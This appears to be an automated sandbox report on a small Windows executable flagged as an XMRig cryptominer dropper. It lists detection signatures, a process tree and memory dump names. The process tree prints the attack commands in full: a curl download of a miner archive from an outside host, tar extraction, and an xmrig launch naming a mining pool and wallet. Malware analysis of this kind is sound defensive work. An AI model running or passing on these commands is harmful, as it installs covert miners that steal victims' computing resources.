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13/03/2024, 08:45
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240312-wf31fahd5810Analysis
- max time kernel
1196s - max time network
1211s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
13/03/2024, 08:43
General
- Target test - Copy - Copy (2) - Copy - Copy.exe
- Size 6KB
- Sample240313-kms82aah48
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 63 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (2) - Copy - Copy.exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (2) - Copy - Copy.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KS9Cw7si.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
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C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2808 --field-trial-handle=2268,i,8796662530135712346,11409037572378858775,262144 --variations-seed-version /prefetch:81⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2792 --field-trial-handle=2268,i,8796662530135712346,11409037572378858775,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
KS9Cw7si.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/3076-58-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-65-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-25-0x00000256D1C70000-0x00000256D1CB0000-memory.dmp
memory/3076-26-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-27-0x00000256D1CB0000-0x00000256D1CD0000-memory.dmp
memory/3076-28-0x00000256D1CD0000-0x00000256D1CF0000-memory.dmp
memory/3076-59-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-30-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-31-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-61-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-33-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-35-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-36-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-37-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-38-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-40-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-41-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-42-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-43-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-44-0x00000256D1CB0000-0x00000256D1CD0000-memory.dmp
memory/3076-45-0x00000256D1CD0000-0x00000256D1CF0000-memory.dmp
memory/3076-46-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-47-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-48-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-49-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-50-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-51-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-52-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-53-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-54-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-55-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-56-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-57-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-23-0x00000256D0260000-0x00000256D0280000-memory.dmp
memory/3076-29-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-24-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-32-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-62-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-63-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-64-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-60-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-66-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-67-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-68-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-69-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-70-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-71-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-72-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-73-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-74-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-75-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-76-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-77-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-78-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-79-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-80-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-81-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-82-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-83-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-84-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-85-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-86-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-87-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-88-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-89-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-90-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3076-91-0x00007FF6E1150000-0x00007FF6E1C54000-memory.dmp
memory/3604-0-0x00000000001E0000-0x00000000001E8000-memory.dmp
memory/3604-3-0x00007FFCC19B0000-0x00007FFCC2471000-memory.dmp
memory/3604-22-0x00007FFCC19B0000-0x00007FFCC2471000-memory.dmp